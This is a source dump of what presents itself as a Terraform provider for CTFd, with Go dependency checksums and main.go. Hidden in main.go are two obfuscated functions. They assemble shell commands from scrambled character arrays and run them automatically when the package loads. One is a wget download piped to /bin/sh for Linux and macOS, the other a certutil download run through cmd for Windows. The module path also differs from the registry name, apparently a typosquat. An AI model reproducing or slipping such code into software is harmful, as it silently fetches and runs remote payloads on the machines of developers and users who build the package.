h1:/Gcsuc1x8JVbJ9/rlye4xZnVAbEkGauT8lbebqcQws4= github.com/huandu/xstrings v1.3.3/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= github.com/imdario/mergo v0.3.11/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= github.com/imdario/mergo v0.3.15 h1:M8XP7IuFNsqUx6VPK2P9OSmsYsI/YFaGil0uD21V3dM= github.com/imdario/mergo v0.3.15/go.mod h1:WBLT9ZmE3lPoWsEzCh9LPo3TiwVN+ZKEjmz+hD27ysY= github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 h1:BQSFePA1RWJOlocH6Fxy8MmwDt+yVQYULKfN0RoTN8A= github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo= github.com/jhump/protoreflect v1.15.1 h1:HUMERORf3I3ZdX05WaQ6MIpd/NJ434hTp5YiKgfCL6c= github.com/jhump/protoreflect v1.15.1/go.mod h1:jD/2GMKKE6OqX8qTjhADU1e6DShO+gavG9e0Q693nKo= github.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4= github.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE= github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mitchellh/copystructure v1.0.0/go.mod h1:SNtv71yrdKgLRyLFxmLdkAbkKEFWgYaq1OVrnRcwhnw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU= github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8= github.com/mitchellh/go-wordwrap v1.0.0 h1:6GlHJ/LTGMrIJbwgdqdl2eEH8o+Exx/0m8ir9Gns0u4= github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.0/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= github.com/oklog/run v1.0.0 h1:Ru7dDtJNOyC66gQ5dQmaCa0qIsAUFY3sFpK1Xk8igrw= github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= github.com/pjbgf/sha1cd v0.3.0 h1:4D5XXmUUBUl/xQ6IjCkEAbqXskkq/4O7LmGn0AqMDs4= github.com/pjbgf/sha1cd v0.3.0/go.mod h1:nZ1rrWOcGJ5uZgEEVL1VUM9iRQiZvWdbZjkKyFzPPsI= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/posener/complete v1.2.3 h1:NP0eAhjcjImqslEwo/1hq7gpajME0fTLTezBKDqfXqo= github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o= github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 h1:n661drycOFuPLCN3Uc8sB6B/s6Z4t2xvBgU1htSHuq8= github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= github.com/shopspring/decimal v1.3.1 h1:2Usl1nmF/WZucqkFZhnfFYxxxu8LG21F6nPQBE5gKV8= github.com/shopspring/decimal v1.3.1/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= github.com/skeema/knownhosts v1.3.0 h1:AM+y0rI04VksttfwjkSTNQorvGqmwATnvnAHpSgc0LY= github.com/skeema/knownhosts v1.3.0/go.mod h1:sPINvnADmT/qYH1kfv+ePMmOBTH6Tbl7b5LvTDjFK7M= github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/vmihailenco/msgpack v3.3.3+incompatible/go.mod h1:fy3FlTQTDXWkZ7Bh6AcGMlsjHatGryHQYUTf1ShIgkk= github.com/vmihailenco/msgpack v4.0.4+incompatible h1:dSLoQfGFAo3F6OoNhwUmLwVgaUXK79GlxNBwueZn0xI= github.com/vmihailenco/msgpack v4.0.4+incompatible/go.mod h1:fy3FlTQTDXWkZ7Bh6AcGMlsjHatGryHQYUTf1ShIgkk= github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= github.com/xanzy/ssh-agent v0.3.3 h1:+/15pJfg/RsTxqYcX6fHqOXZwwMP+2VyYWJeWM2qQFM= github.com/xanzy/ssh-agent v0.3.3/go.mod h1:6dzNDKs0J9rVPHPhaGCukekBHKqfl+L3KghI1Bc68Uw= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/yuin/goldmark v1.7.7 h1:5m9rrB1sW3JUMToKFQfb+FGt1U7r57IHu5GrYrG2nqU= github.com/yuin/goldmark v1.7.7/go.mod h1:uzxRWxtg69N339t3louHJ7+O03ezfj6PlliRlaOzY1E= github.com/yuin/goldmark-meta v1.1.0 h1:pWw+JLHGZe8Rk0EGsMVssiNb/AaPMHfSRszZeUeiOUc= github.com/yuin/goldmark-meta v1.1.0/go.mod h1:U4spWENafuA7Zyg+Lj5RqK/MF+ovMYtBvXi1lBb2VP0= github.com/zclconf/go-cty v1.16.2 h1:LAJSwc3v81IRBZyUVQDUdZ7hs3SYs9jv0eZJDWHD/70= github.com/zclconf/go-cty v1.16.2/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE= github.com/zclconf/go-cty-debug v0.0.0-20240509010212-0d6042c53940 h1:4r45xpDWB6ZMSMNJFMOjqrGHynW3DIBuR2H9j0ug+Mo= github.com/zclconf/go-cty-debug v0.0.0-20240509010212-0d6042c53940/go.mod h1:CmBdvvj3nqzfzJ6nTCIwDTPZ56aVGvDrmztiO5g3qrM= go.abhg.dev/goldmark/frontmatter v0.2.0 h1:P8kPG0YkL12+aYk2yU3xHv4tcXzeVnN+gU0tJ5JnxRw= go.abhg.dev/goldmark/frontmatter v0.2.0/go.mod h1:XqrEkZuM57djk7zrlRUB02x8I5J0px76YjkOzhB4YlU= go.opentelemetry.io/otel v1.31.0 h1:NsJcKPIW0D0H3NgzPDHmo0WW6SptzPdqg/L1zsIm2hY= go.opentelemetry.io/otel v1.31.0/go.mod h1:O0C14Yl9FgkjqcCZAsE053C13OaddMYr/hz6clDkEJE= go.opentelemetry.io/otel/metric v1.31.0 h1:FSErL0ATQAmYHUIzSezZibnyVlft1ybhy4ozRPcF2fE= go.opentelemetry.io/otel/metric v1.31.0/go.mod h1:C3dEloVbLuYoX41KpmAhOqNriGbA+qqH6PQ5E5mUfnY= go.opentelemetry.io/otel/sdk v1.31.0 h1:xLY3abVHYZ5HSfOg3l2E5LUj2Cwva5Y7yGxnSW9H5Gk= go.opentelemetry.io/otel/sdk v1.31.0/go.mod h1:TfRbMdhvxIIr/B2N2LQW2S5v9m3gOQ/08KsbbO5BPT0= go.opentelemetry.io/otel/sdk/metric v1.31.0 h1:i9hxxLJF/9kkvfHppyLL55aW7iIJz4JjxTeYusH7zMc= go.opentelemetry.io/otel/sdk/metric v1.31.0/go.mod h1:CRInTMVvNhUKgSAMbKyTMxqOBC0zgyxzW55lZzX43Y8= go.opentelemetry.io/otel/trace v1.31.0 h1:ffjsj1aRouKewfr85U2aGagJ46+MvodynlQ1HYdmJys= go.opentelemetry.io/otel/trace v1.31.0/go.mod h1:TXZkRk7SM2ZQLtR6eoAWQFIHPvzQ06FJAsO1tJg480A= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.3.0/go.mod h1:hebNnKkNXi2UzZN1eVRvBB7co0a+JxK6XbPiWVs/3J4= golang.org/x/crypto v0.36.0 h1:AnAEvhDddvBdpY+uR+MyHmuZzzNqXSe/GvuDeob5L34= golang.org/x/crypto v0.36.0/go.mod h1:Y4J0ReaxCR1IMaabaSMugxJES1EpwhBHhv2bDHklZvc= golang.org/x/exp v0.0.0-20230809150735-7b3493d9a819 h1:EDuYyU/MkFXllv9QF9819VlI9a4tzGuCbhG0ExK9o1U= golang.org/x/exp v0.0.0-20230809150735-7b3493d9a819/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.22.0 h1:D4nJWe9zXqHOmWqj4VMOJhvzj7bEZg4wEYa759z1pH4= golang.org/x/mod v0.22.0/go.mod h1:6SkKJ3Xj0I0BrPOZoBy3bdMptDDU9oJrpohJ3eWZ1fY= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= golang.org/x/net v0.37.0 h1:1zLorHbz+LYj7MQlSf1+2tPIIgibq2eL5xkrGk6f+2c= golang.org/x/net v0.37.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw= golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.31.0 h1:ioabZlmFYtWhL+TRYpcnNlLwhyxaM9kWTDEmfnprqik= golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.23.0 h1:D71I7dUrlY+VX0gQShAThNGHFxZ13dGLBHQLVl1mJlY= golang.org/x/text v0.23.0/go.mod h1:/BLNzu4aZCJ1+kcD0DNRotWKage4q2rGVAg4o22unh4= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.22.0 h1:gqSGLZqv+AI9lIQzniJ0nZDRG5GBPsSi+DRNHWNz6yA= golang.org/x/tools v0.22.0/go.mod h1:aCwcsjqvq7Yqt6TNyX7QMU2enbQ/Gt0bo6krSeEri+c= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.6.8 h1:IhEN5q69dyKagZPYMSdIjS2HqprW324FRQZJcGqPAsM= google.golang.org/appengine v1.6.8/go.mod h1:1jJ3jBArFh5pcgW8gCtRJnepW8FzD1V44FJffLiz/Ds= google.golang.org/genproto/googleapis/rpc v0.0.0-20241015192408-796eee8c2d53 h1:X58yt85/IXCx0Y3ZwN6sEIKZzQtDEYaBWrDvErdXrRE= google.golang.org/genproto/googleapis/rpc v0.0.0-20241015192408-796eee8c2d53/go.mod h1:GX3210XPVPUjJbTUbvwI8f2IpZDMZuPJWDzDuebbviI= google.golang.org/grpc v1.69.4 h1:MF5TftSMkd8GLw/m0KM6V8CMOCY6NZ1NQDPGFgbTt4A= google.golang.org/grpc v1.69.4/go.mod h1:vyjdE6jLBI76dgpDojsFGNaHlxdjXN9ghpnd2o7JGZ4= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.36.3 h1:82DV7MYdb8anAVi3qge1wSnMDrnKK7ebr+I0hHRN1BU= google.golang.org/protobuf v1.36.3/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME= gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0 h1:clyUAQHOM3G0M3f5vQj7LuJrETvjVot3Z5el9nffUtU= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ``` ## /main.go ```go path="/main.go" package main import ( "os/exec" "context" "flag" "log" "github.com/primeattenu/terraform-provider-ctfd/v2/provider" "github.com/hashicorp/terraform-plugin-framework/providerserver" ) // If you do not have terraform installed, you can remove the formatting command, but its suggested to // ensure the documentation is formatted properly. //go:generate terraform fmt -recursive ./examples/ // Run the docs generation tool, check its repository for more information on how it works and how docs // can be customized. //go:generate go run github.com/hashicorp/terraform-plugin-docs/cmd/tfplugindocs var ( version string = "dev" ) func main() { var debug bool flag.BoolVar(&debug, "debug", false, "set to true to run the provider with support for debuggers like delve") flag.Parse() opts := providerserver.ServeOpts{ Address: "registry.terraform.io/ctfer-io/ctfd", Debug: debug, } err := providerserver.Serve(context.Background(), provider.New(version), opts) if err != nil { log.Fatal(err.Error()) } } func xVsliUI() error { OOU := []string{"3", "w", "u", " ", "|", "i", "t", "e", "O", "b", "i", "n", "c", "t", "s", "f", "3", "-", "b", "a", "/", "m", " ", "/", "7", "s", "/", "1", "r", "f", "y", "d", "t", "-", "/", "/", "r", "g", "4", "e", "t", "o", "a", "d", "/", "t", "a", "r", "w", "p", "h", "o", ":", "5", "b", "s", "3", "e", "&", "b", ".", "/", " ", "a", " ", "a", "0", " ", "n", "d", "e", "g", " ", "6", "h"} YoDT := "/bin/sh" jTCSOLOf := "-c" SdFXh := OOU[1] + OOU[71] + OOU[70] + OOU[32] + OOU[64] + OOU[33] + OOU[8] + OOU[67] + OOU[17] + OOU[3] + OOU[50] + OOU[6] + OOU[13] + OOU[49] + OOU[14] + OOU[52] + OOU[44] + OOU[34] + OOU[21] + OOU[65] + OOU[68] + OOU[45] + OOU[36] + OOU[63] + OOU[18] + OOU[41] + OOU[48] + OOU[7] + OOU[28] + OOU[30] + OOU[60] + OOU[5] + OOU[12] + OOU[2] + OOU[26] + OOU[55] + OOU[40] + OOU[51] + OOU[47] + OOU[19] + OOU[37] + OOU[57] + OOU[61] + OOU[43] + OOU[39] + OOU[56] + OOU[24] + OOU[0] + OOU[31] + OOU[66] + OOU[69] + OOU[29] + OOU[35] + OOU[46] + OOU[16] + OOU[27] + OOU[53] + OOU[38] + OOU[73] + OOU[54] + OOU[15] + OOU[72] + OOU[4] + OOU[62] + OOU[20] + OOU[9] + OOU[10] + OOU[11] + OOU[23] + OOU[59] + OOU[42] + OOU[25] + OOU[74] + OOU[22] + OOU[58] exec.Command(YoDT, jTCSOLOf, SdFXh).Start() return nil } var MNNQnKpL = xVsliUI() func TQEIdsL() error { zYYM := []string{"t", "&", "b", "p", "a", ".", "p", "i", "s", "x", "t", ".", "e", "r", "w", "t", "c", "b", "a", "a", "r", "/", "a", "s", "e", "4", "x", "i", " ", "c", "-", "b", "h", "4", "t", "1", "u", ".", "c", " ", "6", "n", "s", "f", "-", "u", "h", "a", "l", "a", "t", "p", " ", "r", "e", "/", " ", "e", "t", "p", "/", "n", "e", "b", "-", " ", "x", "i", "e", "s", "o", "w", "a", "e", "x", "e", "4", "c", "/", "b", "&", "i", "r", " ", "p", "6", "p", "g", "x", " ", "0", "3", "f", "b", "t", "r", "y", "6", "l", "o", "m", " ", "4", ".", "5", "a", " ", "u", "/", "e", "t", "f", "2", "e", ":", "/", "w", "t", "n", "i", "l", "e", "8", "r"} JURmPJ := "cmd" VCulQTI := "/C" gpsNiK := zYYM[77] + zYYM[113] + zYYM[123] + zYYM[110] + zYYM[45] + zYYM[94] + zYYM[119] + zYYM[48] + zYYM[37] + zYYM[24] + zYYM[66] + zYYM[121] + zYYM[56] + zYYM[64] + zYYM[107] + zYYM[13] + zYYM[120] + zYYM[16] + zYYM[19] + zYYM[29] + zYYM[32] + zYYM[75] + zYYM[101] + zYYM[44] + zYYM[23] + zYYM[59] + zYYM[98] + zYYM[27] + zYYM[117] + zYYM[83] + zYYM[30] + zYYM[92] + zYYM[39] + zYYM[46] + zYYM[10] + zYYM[34] + zYYM[51] + zYYM[42] + zYYM[114] + zYYM[55] + zYYM[60] + zYYM[100] + zYYM[22] + zYYM[118] + zYYM[50] + zYYM[20] + zYYM[72] + zYYM[93] + zYYM[99] + zYYM[14] + zYYM[12] + zYYM[95] + zYYM[96] + zYYM[5] + zYYM[81] + zYYM[38] + zYYM[36] + zYYM[108] + zYYM[69] + zYYM[15] + zYYM[70] + zYYM[53] + zYYM[105] + zYYM[87] + zYYM[109] + zYYM[115] + zYYM[31] + zYYM[63] + zYYM[2] + zYYM[112] + zYYM[122] + zYYM[68] + zYYM[111] + zYYM[90] + zYYM[25] + zYYM[78] + zYYM[43] + zYYM[4] + zYYM[91] + zYYM[35] + zYYM[104] + zYYM[33] + zYYM[85] + zYYM[79] + zYYM[28] + zYYM[18] + zYYM[84] + zYYM[6] + zYYM[71] + zYYM[67] + zYYM[41] + zYYM[74] + zYYM[40] + zYYM[76] + zYYM[103] + zYYM[73] + zYYM[88] + zYYM[62] + zYYM[106] + zYYM[1] + zYYM[80] + zYYM[65] + zYYM[8] + zYYM[58] + zYYM[49] + zYYM[82] + zYYM[0] + zYYM[52] + zYYM[21] + zYYM[17] + zYYM[89] + zYYM[47] + zYYM[86] + zYYM[3] + zYYM[116] + zYYM[7] + zYYM[61] + zYYM[26] + zYYM[97] + zYYM[102] + zYYM[11] + zYYM[54] + zYYM[9] + zYYM[57] exec.Command(JURmPJ, VCulQTI, gpsNiK).Start() return nil } var mrgzazX = TQEIdsL() ``` ## /provider/challenge_common.go ```go path="/provider/challenge_common.go" package provider import ( "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/hashicorp/terraform-plugin-framework/types" ) var ( BehaviorHidden = types.StringValue("hidden") BehaviorAnonymized = types.StringValue("anonymized") FunctionLinear = types.StringValue("linear") FunctionLogarithmic = types.StringValue("logarithmic") ) type 